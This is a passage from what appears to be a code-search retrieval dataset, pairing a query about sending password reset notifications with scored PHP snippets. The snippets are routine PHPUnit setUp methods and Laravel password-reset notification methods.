parent::setUp();\n $config = new LocalConfiguration();\n $this->local = new Local($config);\n }", "title": "" }, { "docid": "da38a64828a0d1686c982d82ed0e5c22", "score": "0.6673577", "text": "public function setUp(): void\n {\n $pdo = new PDO('sqlite::memory:', null, null, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);\n\n //Set up the connection.\n $this->conn = new Connection($pdo);\n }", "title": "" }, { "docid": "045ca642c5eef13148eaf885beb139c3", "score": "0.6672487", "text": "protected function setUp() {\n\t\tparent::setUp();\n\n\t\t$this->object = new ControllerFixture([\n\t\t\t'module' => 'module',\n\t\t\t'controller' => 'controller',\n\t\t\t'action' => 'action',\n\t\t\t'args' => [100, 25]\n\t\t]);\n\n\t\t// Used by throwError()\n\t\tTiton::router()->initialize();\n\t}", "title": "" }, { "docid": "f1e1837f53bced42276c7692e3af0046", "score": "0.6647294", "text": "protected function setUp()\n {\n $this->fixture = new NamespaceDescriptor();\n }", "title": "" }, { "docid": "aa7dac7cdb55bb725a6e50604cd35a33", "score": "0.66458243", "text": "public function setUp()\n {\n $this->fixture = new Finder();\n }", "title": "" }, { "docid": "d60b065d7b5a812c32e9e4e1b7e4817b", "score": "0.6636708", "text": "function setUp() {\n\t\t$this->originalIsRunningTest = self::$is_running_test;\n\t\tself::$is_running_test = true;\n\t\t\n\t\t// i18n needs to be set to the defaults or tests fail\n\t\ti18n::set_locale(i18n::default_locale());\n\t\ti18n::set_date_format(null);\n\t\ti18n::set_time_format(null);\n\t\t\n\t\t// Remove password validation\n\t\t$this->originalMemberPasswordValidator = Member::password_validator();\n\t\t$this->originalRequirements = Requirements::backend();\n\t\tMember::set_password_validator(null);\n\t\tCookie::set_report_errors(false);\n\t\t\n\t\tif(class_exists('RootURLController')) RootURLController::reset();\n\t\tif(class_exists('Translatable')) Translatable::reset();\n\t\tVersioned::reset();\n\t\tDataObject::reset();\n\t\tif(class_exists('SiteTree')) SiteTree::reset();\n\t\tHierarchy::reset();\n\t\tif(Controller::has_curr()) Controller::curr()->setSession(new Session(array()));\n\t\t\n\t\t$this->originalTheme = SSViewer::current_theme();\n\t\t\n\t\tif(class_exists('SiteTree')) {\n\t\t\t// Save nested_urls state, so we can restore it later\n\t\t\t$this->originalNestedURLsState = SiteTree::nested_urls();\n\t\t}\n\n\t\t$className = get_class($this);\n\t\t$fixtureFile = eval(\"return {$className}::\\$fixture_file;\");\n\t\t$prefix = defined('SS_DATABASE_PREFIX') ? SS_DATABASE_PREFIX : 'ss_';\n\n\t\t// Set up fixture\n\t\tif($fixtureFile || $this->usesDatabase || !self::using_temp_db()) {\n\t\t\tif(substr(DB::getConn()->currentDatabase(), 0, strlen($prefix) + 5) != strtolower(sprintf('%stmpdb', $prefix))) {\n\t\t\t\t//echo \"Re-creating temp database... \";\n\t\t\t\tself::create_temp_db();\n\t\t\t\t//echo \"done.\\n\";\n\t\t\t}\n\n\t\t\tsingleton('DataObject')->flushCache();\n\t\t\t\n\t\t\tself::empty_temp_db();\n\t\t\t\n\t\t\tforeach($this->requireDefaultRecordsFrom as $className) {\n\t\t\t\t$instance = singleton($className);\n\t\t\t\tif (method_exists($instance, 'requireDefaultRecords')) $instance->requireDefaultRecords();\n\t\t\t\tif (method_exists($instance, 'augmentDefaultRecords')) $instance->augmentDefaultRecords();\n\t\t\t}\n\n\t\t\tif($fixtureFile) {\n\t\t\t\t$pathForClass = $this->getCurrentAbsolutePath();\n\t\t\t\t$fixtureFiles = (is_array($fixtureFile)) ? $fixtureFile : array($fixtureFile);\n\n\t\t\t\t$i = 0;\n\t\t\t\tforeach($fixtureFiles as $fixtureFilePath) {\n\t\t\t\t\t// Support fixture paths relative to the test class, rather than relative to webroot\n\t\t\t\t\t// String checking is faster than file_exists() calls.\n\t\t\t\t\t$isRelativeToFile = (strpos('/', $fixtureFilePath) === false || preg_match('/^\\.\\./', $fixtureFilePath));\n\t\t\t\t\tif($isRelativeToFile) {\n\t\t\t\t\t\t$resolvedPath = realpath($pathForClass . '/' . $fixtureFilePath);\n\t\t\t\t\t\tif($resolvedPath) $fixtureFilePath = $resolvedPath;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$fixture = new YamlFixture($fixtureFilePath);\n\t\t\t\t\t$fixture->saveIntoDatabase();\n\t\t\t\t\t$this->fixtures[] = $fixture;\n\n\t\t\t\t\t// backwards compatibility: Load first fixture into $this->fixture\n\t\t\t\t\tif($i == 0) $this->fixture = $fixture;\n\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$this->logInWithPermission(\"ADMIN\");\n\t\t}\n\t\t\n\t\t// Set up email\n\t\t$this->originalMailer = Email::mailer();\n\t\t$this->mailer = new TestMailer();\n\t\tEmail::set_mailer($this->mailer);\n\t\tEmail::send_all_emails_to(null);\n\t\t\n\t\t// Preserve memory settings\n\t\t$this->originalMemoryLimit = ini_get('memory_limit');\n\t}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66175556", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66175556", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66175556", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66175556", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617435", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617164", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617164", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617164", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617164", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617164", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617164", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617164", "text": "protected function setUp() {}", "title": "" }, { "docid": "5dadbc0da92f2734cb156e0d14bc3a76", "score": "0.6617141", "text": "protected function setUp()\n {\n $this->request = new Request();\n $this->response = new Response();\n\n $this->request->load();\n $this->response->load();\n }", "title": "" }, { "docid": "5dadbc0da92f2734cb156e0d14bc3a76", "score": "0.6617141", "text": "protected function setUp()\n {\n $this->request = new Request();\n $this->response = new Response();\n\n $this->request->load();\n $this->response->load();\n }", "title": "" }, { "docid": "5dadbc0da92f2734cb156e0d14bc3a76", "score": "0.6617141", "text": "protected function setUp()\n {\n $this->request = new Request();\n $this->response = new Response();\n\n $this->request->load();\n $this->response->load();\n }", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617096", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617096", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.6617096", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66168785", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66168785", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66168785", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66168785", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66168785", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66168785", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66168785", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66168785", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66168785", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66168785", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66168785", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66168785", "text": "protected function setUp() {}", "title": "" }, { "docid": "e8a26c46c060842a2ef06064c53437a5", "score": "0.66168785", "text": "protected function setUp() {}", "title": "" } ]
7ef84b3aa9419fcf09707609116445c1
Send the password reset notification.
[ { "docid": "050bdea3464bcf1d231d23d383e77e15", "score": "0.7763778", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new PasswordResetRequestNotification($token));\n }", "title": "" } ]
[ { "docid": "ef8d9cf35d83efafb84d03290f721183", "score": "0.7952311", "text": "protected function sendPasswordResetEmail(): void\n {\n $url = 'http://' . $_SERVER['HTTP_HOST'] . '/password/reset/' . $this->password_reset_token;\n\n $text = View::getTemplate('Password/reset_email.txt.twig', ['url' => $url]);\n $html = View::getTemplate('Password/reset_email.html.twig', ['url' => $url]);\n\n Mail::send($this->email, 'Password reset', $text, $html);\n }", "title": "" }, { "docid": "99eb79c8d8391f4face70c24e0d7062e", "score": "0.786588", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new UserResetPassword($token));\n }", "title": "" }, { "docid": "1df80cb9a4c658b0f35e87415c130ff2", "score": "0.7843343", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPassword($token,'owner.password.reset'));\n }", "title": "" }, { "docid": "925eb30fda57f0ef419e240148ac53e6", "score": "0.78314084", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new AdminResetPasswordNotification($token));\n }", "title": "" }, { "docid": "c81bca130c017f6a3f24a7825f0ce4d3", "score": "0.7830383", "text": "public function sendPasswordResetNotification($token)\n {\n //echo 'aqui voy';\n //dd($token);\n $this->notify(new ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "2c54496de44fe53bafbb252c7138197b", "score": "0.7817392", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new AdminResetPassword($token));\n }", "title": "" }, { "docid": "2c54496de44fe53bafbb252c7138197b", "score": "0.7817392", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new AdminResetPassword($token));\n }", "title": "" }, { "docid": "2c54496de44fe53bafbb252c7138197b", "score": "0.7817392", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new AdminResetPassword($token));\n }", "title": "" }, { "docid": "273420b9435f100c94024f593b88422c", "score": "0.7807258", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ClientResetPassword($token));\n }", "title": "" }, { "docid": "bdca2b62895f92ad0081b6ae2533a6ac", "score": "0.7804854", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new UserResetPassword($token));\n }", "title": "" }, { "docid": "9c6dec077465d567207c6212da3ddc35", "score": "0.779783", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new AdminResetPasswordNotification($token));\n }", "title": "" }, { "docid": "8d23a08e28f1d9f79f32875157f8d32c", "score": "0.7795787", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new MentorResetPassword($token));\n }", "title": "" }, { "docid": "58a8425d5f6d028545c705491c9d0444", "score": "0.7792513", "text": "public function sendPasswordResetNotification($token)\n {\n if ( $this->isBackendUser() ) {\n $this->notify(new BackendResetPasswordNotification($token));\n } else {\n $this->notify(new FrontendResetPasswordNotification($token));\n }\n }", "title": "" }, { "docid": "da92216501bda2221be95b61d983651c", "score": "0.7790979", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new FinanceResetPassword($token));\n }", "title": "" }, { "docid": "0265232458ecfb48c449e03d52a60298", "score": "0.778931", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPassword($token));\n }", "title": "" }, { "docid": "0265232458ecfb48c449e03d52a60298", "score": "0.778931", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPassword($token));\n }", "title": "" }, { "docid": "0265232458ecfb48c449e03d52a60298", "score": "0.778931", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPassword($token));\n }", "title": "" }, { "docid": "0265232458ecfb48c449e03d52a60298", "score": "0.778931", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPassword($token));\n }", "title": "" }, { "docid": "0265232458ecfb48c449e03d52a60298", "score": "0.778931", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPassword($token));\n }", "title": "" }, { "docid": "0265232458ecfb48c449e03d52a60298", "score": "0.778931", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPassword($token));\n }", "title": "" }, { "docid": "0265232458ecfb48c449e03d52a60298", "score": "0.778931", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPassword($token));\n }", "title": "" }, { "docid": "04b6ceab4cad20bba037844f1c1fc8cf", "score": "0.77867085", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new UserResetPasswordNotification($token));\n }", "title": "" }, { "docid": "1572a0ed513e7a030a6117d8694448fc", "score": "0.7773081", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetAdminPasswordNotification($token));\n }", "title": "" }, { "docid": "78c297da33e7057bceb3fcdc4799e1f3", "score": "0.7758705", "text": "public function sendPasswordResetNotification($token)\n\t{\n\t\t$this->notify(new ResetPasswordNotification($token));\n\t}", "title": "" }, { "docid": "02a76fb652669d69b819afc48a6f9923", "score": "0.77549934", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordRequested($token));\n }", "title": "" }, { "docid": "d72377d5c3d76cf27529cdfb8c85a34b", "score": "0.7751859", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new AgentResetPassword($token));\n }", "title": "" }, { "docid": "ae37eb5f777786d87ada10d59bd944da", "score": "0.7748881", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "ae37eb5f777786d87ada10d59bd944da", "score": "0.7748881", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "ae37eb5f777786d87ada10d59bd944da", "score": "0.7748881", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "ae37eb5f777786d87ada10d59bd944da", "score": "0.7748881", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "ae37eb5f777786d87ada10d59bd944da", "score": "0.7748881", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "ae37eb5f777786d87ada10d59bd944da", "score": "0.7748881", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "ae37eb5f777786d87ada10d59bd944da", "score": "0.7748881", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "ae37eb5f777786d87ada10d59bd944da", "score": "0.7748881", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "ae37eb5f777786d87ada10d59bd944da", "score": "0.7748881", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "ae37eb5f777786d87ada10d59bd944da", "score": "0.7748881", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "ae37eb5f777786d87ada10d59bd944da", "score": "0.7748881", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "ae37eb5f777786d87ada10d59bd944da", "score": "0.7748881", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "ae37eb5f777786d87ada10d59bd944da", "score": "0.7748881", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "ae37eb5f777786d87ada10d59bd944da", "score": "0.7748881", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "dc5f818e0f0f8ebdc3453e6ecfa79c9e", "score": "0.7741606", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new MailResetPasswordNotification($token));\n }", "title": "" }, { "docid": "12bbe3a6ecfc75817c243dc7f94e71a2", "score": "0.7738737", "text": "public function sendPasswordResetNotification($token): void\n {\n $this->notify(new UserResetPasswordNotification($token));\n }", "title": "" }, { "docid": "ecddf5521b5da638e0eb7d6f658f04fe", "score": "0.7722373", "text": "public function sendPasswordResetNotification($token)\n {\n $user = $this;\n $this->notify(new CustomerResetPassword($token, $user));\n }", "title": "" }, { "docid": "14d4a7f8e35990d3208ea738b751ee9d", "score": "0.77180284", "text": "public function sendPasswordResetNotification($token)\n {\n if ($this->isExampleUser() === true) {\n return;\n }\n $this->notify(new ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "c2b8a27d39c5263d860c4fa0d6e436a5", "score": "0.77114916", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordCustomNotification($token));\n }", "title": "" }, { "docid": "2260a3bc2ee28ada323846f027dac4a8", "score": "0.7710669", "text": "public function sendPasswordResetNotification($token)\n\t{\n\t\t$this->notify(new \\App\\Notifications\\ResetPassword($token));\n\t}", "title": "" }, { "docid": "0935b507cc5029317d6bf9e3836b48ef", "score": "0.7693195", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new \\Bowling\\Notifications\\ResetPasswordNotification($token));\n }", "title": "" }, { "docid": "2fc1ad008f53357e6aa5b5e6b18bd1c0", "score": "0.76813906", "text": "public function sendPasswordResetNotification($token){\n $user = $this;\n $data = [\n 'email' => $this->email,\n 'reset_url' => route('password.reset', ['token' => $token, 'email' => $this->email]),\n ];\n $this->notify(new ResetPassword($data));\n }", "title": "" }, { "docid": "26a217f0dc9a48c1829d35986c2d7302", "score": "0.7679242", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new InstructorResetPassword($token));\n }", "title": "" }, { "docid": "40202c9c959891e21b8efcea10d9ae8d", "score": "0.7674429", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordNotification($token, $this->id));\n }", "title": "" }, { "docid": "a0ab55d12c9728794d6c03041dceccc7", "score": "0.7674379", "text": "public function sendPasswordResetNotification($token) {\n $this->notify(new \\App\\Notifications\\MailResetPasswordNotification($token));\n }", "title": "" }, { "docid": "ea13689fe1494f71fd77112cab27bde1", "score": "0.76686555", "text": "public function sendPasswordResetNotification($token)\n {\n // $when = Carbon::now()->addMinutes(1);\n $this->notify(new CustomResetPasswordNotification($token));\n }", "title": "" }, { "docid": "e940d77dde0f24a5b1dbd2e6e2e0f4c9", "score": "0.7657849", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new StaffPasswordNotification($token, 'staff'));\n }", "title": "" }, { "docid": "dcaab6cb0c7cd606f6cd6d60a0027220", "score": "0.7657063", "text": "public function sendPasswordResetNotification($token)\n\t{\n\t\t// Your your own implementation.\n\t\t$this->notify(new \\App\\Notifications\\ResetPassword($token));\n\t}", "title": "" }, { "docid": "714e2de17452ef38398866171dbb5c53", "score": "0.7656202", "text": "public function sendPasswordResetNotification($token)\n {\n if (!self::setPasswordResetNotification()) {\n $this->notify(new ResetPasswordNotification($token));\n }\n\n }", "title": "" }, { "docid": "6cfc88ff6719aa251bb930795bf9b88b", "score": "0.765475", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ComptableResetPassword($token));\n }", "title": "" }, { "docid": "13bc9bb405d204a8b2493bb6488aaf4c", "score": "0.7653984", "text": "public function sendPasswordResetNotification($token)\n\t{\n\t\t$this->notify(new MailResetPasswordToken($token));\n\t}", "title": "" }, { "docid": "393038e4c693dc575faa4f9d0bf0ace4", "score": "0.7652842", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new MailResetPasswordToken($token));\n }", "title": "" }, { "docid": "a821cd6009316c21d6863149d138d066", "score": "0.7644267", "text": "protected function sendPasswordResetEmail()\n {\n $url = 'http://' . $_SERVER['HTTP_HOST'] . '/password/reset/' . $this->password_reset_token;\n\n $text = View::getTemplate('Password/reset_email.txt', ['url' => $url]);\n $html = View::getTemplate('Password/reset_email.html', ['url' => $url]);\n //var_dump($url);\n Mail::send($this->email, 'Changement de mot de passe', $text, $html);\n }", "title": "" }, { "docid": "f9fe6f34c5d7e61f62bf279f95c44dc9", "score": "0.7637726", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ForgottenPasswordLink($token));\n }", "title": "" }, { "docid": "4d27c8314ae1cb8bc22631df516c9c98", "score": "0.7630858", "text": "public function sendPasswordResetNotification($token)\n\t{\n\t\t$this->notify(new UserNeedsPasswordReset($token));\n\t}", "title": "" }, { "docid": "cc25444ccfed3a9934c4bb871c2f2cd4", "score": "0.7626569", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new ResetPasswordNotification($token, $this->email));\n }", "title": "" }, { "docid": "ff51f1983b193801179e3f6f6c1d39f7", "score": "0.7598509", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new CustomResetPasswordNotification($token, $this->name));\n }", "title": "" }, { "docid": "5dacea5de01663674af0fa5d8c4f946a", "score": "0.75767463", "text": "public function sendPasswordResetNotification($token)\n {\n $this->notify(new TeacherResetPassword($token));\n }", "title": "" }, { "docid": "2d8ff1914f02f5e1e575750926794363", "score": "0.7529237", "text": "private function sendMail()\n {\n $title = 'Jakked CMS Password Recovery Successful';\n $body = <<<HTML\n<p>The password for your Jakked Hardcore Gym CMS account has been successfully\n reset. If you were not the one to do this, verify the security of your\n e-mail account and then request another password reset.\n</p>\nHTML;\n\n $this->mail->Send($this->input['username'], $title, $body);\n }", "title": "" }, { "docid": "ec63a30db415725dde357ecd3291d44c", "score": "0.7511052", "text": "public function sendPasswordResetNotification($token)\n {\n // do nothing\n }", "title": "" }, { "docid": "0b0cfe40b24fff39d36d58817b3f84a3", "score": "0.74974304", "text": "public function sendPasswordResetNotification($token)\n {\n SendResetPasswordEmailJob::dispatch($this, $token);\n }", "title": "" }, { "docid": "1a4748b485efe04c5c11a8e458411553", "score": "0.74848914", "text": "public function sendPasswordResetNotification($token)\n {\n $email = $this->getEmailForPasswordReset();\n $user = $this::where('email', $email)->first();\n $this->notify(new ResetPasswordNotification($token, $user->id));\n }", "title": "" }, { "docid": "638660807d6a22586af7fc769e8161fa", "score": "0.7479402", "text": "public function sendPasswordResetNotification($token) {\n Mail::send('auth.emails.password',\n [\n 'token' => $token,\n 'user' => $this,\n ],\n function ($message) {\n $caption = 'Сброс пароля на сайте fit2u';\n $message->to($this->email)->subject($caption);\n });\n }", "title": "" }, { "docid": "b8b7614c03aa9b5904d5a68c6dfe71c4", "score": "0.7446768", "text": "public function sendPasswordResetNotification($token): void\n {\n $passwordSend = new ResetPassword($token);\n $passwordSend::createUrlUsing(function ($notifiable, $token) {\n return url(route('admin.password.reset', [\n 'token' => $token,\n 'email' => $notifiable->getEmailForPasswordReset(),\n ], false));\n 